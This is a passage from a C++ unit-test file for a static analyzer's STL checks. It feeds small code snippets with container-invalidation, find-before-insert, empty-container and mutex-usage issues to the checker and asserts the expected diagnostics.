v.clear();\\n\"\n \" std::cout << *p << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:24] -> [test.cpp:3:18] -> [test.cpp:3:14] -> [test.cpp:4:7] -> [test.cpp:2:10] -> [test.cpp:5:19]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" return a.i->front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"void g(const std::vector& v);\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" g(a);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10984\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto g = [&v]{};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [&]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:3:33] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [=]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int* p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" A a{v.data()};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:15] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int*& p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto* p = v.data();\\n\"\n \" A a{p};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:6:21] -> [test.cpp:7:9] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #11028\n check(\"void f(std::vector c) {\\n\"\n \" std::vector d(c.begin(), c.end());\\n\"\n \" c.erase(c.begin());\\n\"\n \" d.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11147\n check(\"void f(std::string& s) {\\n\"\n \" if (!s.empty()) {\\n\"\n \" std::string::iterator it = s.begin();\\n\"\n \" s = s.substr(it - s.begin());\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n // #11630\n check(\"int main(int argc, const char* argv[]) {\\n\"\n \" std::vector args(argv + 1, argv + argc);\\n\"\n \" args.push_back(\\\"-h\\\");\\n\"\n \" args.front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #13108\n \" auto it = unknown(v);\\n\"\n \" auto w = std::vector{ it, v.end() };\\n\"\n \" v.erase(it, v.end());\\n\"\n \" for (const auto& i : w) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13410\n check(\"int f(std::vector& v) {\\n\"\n \" const int* i = &*v.cbegin();\\n\"\n \" v.push_back(1);\\n\"\n \" return *i;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:26] -> [test.cpp:2:30] -> [test.cpp:1:26] -> [test.cpp:2:20] -> [test.cpp:2:20] -> [test.cpp:3:7] -> [test.cpp:1:25] -> [test.cpp:4:13]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #9834\n check(\"struct CJ {\\n\"\n \" std::string m_string1 = \\\"hello\\\";\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" std::vector vec1;\\n\"\n \" vec1.push_back(CJ());\\n\"\n \" auto& a_ref = vec1.at(0).m_string1;\\n\"\n \" vec1.clear();\\n\"\n \" std::cout << a_ref << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:17] -> [test.cpp:7:24] -> [test.cpp:8:10] -> [test.cpp:9:18]: (error) Reference to vec1 that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n }\n\n void invalidContainerLoop() {\n // #9435\n check(\"void f(std::vector v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 5)\\n\"\n \" v.push_back(i * 2);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:15]: (error) Calling 'push_back' while iterating the container is invalid. [invalidContainerLoop]\\n\", errout_str());\n\n // #9713\n check(\"void f() {\\n\"\n \" std::vector v{1, 2, 3};\\n\"\n \" for (int i : v) {\\n\"\n \" if (i == 2) {\\n\"\n \" v.clear();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void add(int i) {\\n\"\n \" v.push_back(i);\\n\"\n \" } \\n\"\n \" void f() {\\n\"\n \" for(auto i:v)\\n\"\n \" add(i);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:7:5] -> [test.cpp:8:7]: (error) Calling 'add' while iterating the container is invalid. [invalidContainerLoop]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #14013\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r = v.emplace_back(std::make_unique());\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r{ v.emplace_back(std::make_unique()) };\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void findInsert() {\n check(\"void f1(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f1(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(QSet& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9218 - not small type => do not warn if cpp standard is < c++17\n {\n const char code[] = \"void f1(std::set& s, const LargeType& x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP14));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP17));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n }\n\n { // #10558\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.try_emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n }\n }\n\n void checkKnownEmptyContainer() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" v.clear();\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (!v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::sort(v.begin(), v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Using sort with iterator 'v.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #1201\n \" std::vector v1{ 0, 1 };\\n\"\n \" std::vector v2;\\n\"\n \" std::copy(v1.begin(), v1.end(), v2.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:45]: (style) Using copy with iterator 'v2.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.insert(v.end(), 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(std::vector*);\\n\"\n \"};\\n\"\n \"A f() {\\n\"\n \" std::vector v;\\n\"\n \" A a(&v);\\n\"\n \" for(auto&& x:v) {}\\n\"\n \" return a;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static void f1(std::list& parameters) {\\n\"\n \" parameters.push_back(a);\\n\"\n \"}\\n\"\n \"int f2(std::list& parameters) {\\n\"\n \" f1(parameters);\\n\"\n \"}\\n\"\n \"void f3() {\\n\"\n \" std::list parameters;\\n\"\n \" int res = ::f2(parameters);\\n\"\n \" for (auto param : parameters) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace ns {\\n\"\n \" using ArrayType = std::vector;\\n\"\n \"}\\n\"\n \"using namespace ns;\\n\"\n \"static void f() {\\n\"\n \" const ArrayType arr;\\n\"\n \" for (const auto &a : arr) {}\\n\"\n \"}\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Iterating over container 'arr' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void foo(S& s) {\\n\"\n \" s.v.clear();\\n\"\n \" bar(s);\\n\"\n \" std::sort(s.v.begin(), s.v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v, int e) {\\n\"\n \" if (!v.empty()) {\\n\"\n \" if (e < 0 || true) {\\n\"\n \" if (e < 0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto& rv = v;\\n\"\n \" rv.push_back(42);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern void f(std::string&&);\\n\"\n \"static void func() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& s_ref = s;\\n\"\n \" f(std::move(s));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12757\n \" template\\n\"\n \" void clear() {}\\n\"\n \" template\\n\"\n \" std::vector get() const { return {}; }\\n\"\n \" std::vector m;\\n\"\n \"};\\n\"\n \"template<> void S::clear() { m.clear(); }\\n\"\n \"template<> std::vector S::get() const {\\n\"\n \" for (const auto& i : m) {}\\n\"\n \" return {};\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #13121\n \" static std::string s = {};\\n\"\n \" for (auto c : s) {}\\n\"\n \" if (b)\\n\"\n \" s += \\'a\\';\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\" // #13727\n \" std::vector v;\\n\"\n \" v.insert::iterator>(v.end(), it, it + 1);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMutexes() {\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:40]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::unique_lock g(m, std::defer_lock);\\n\"\n \" static std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:41]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void g();\\n\"\n \" void f() {\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" static std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:44]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n 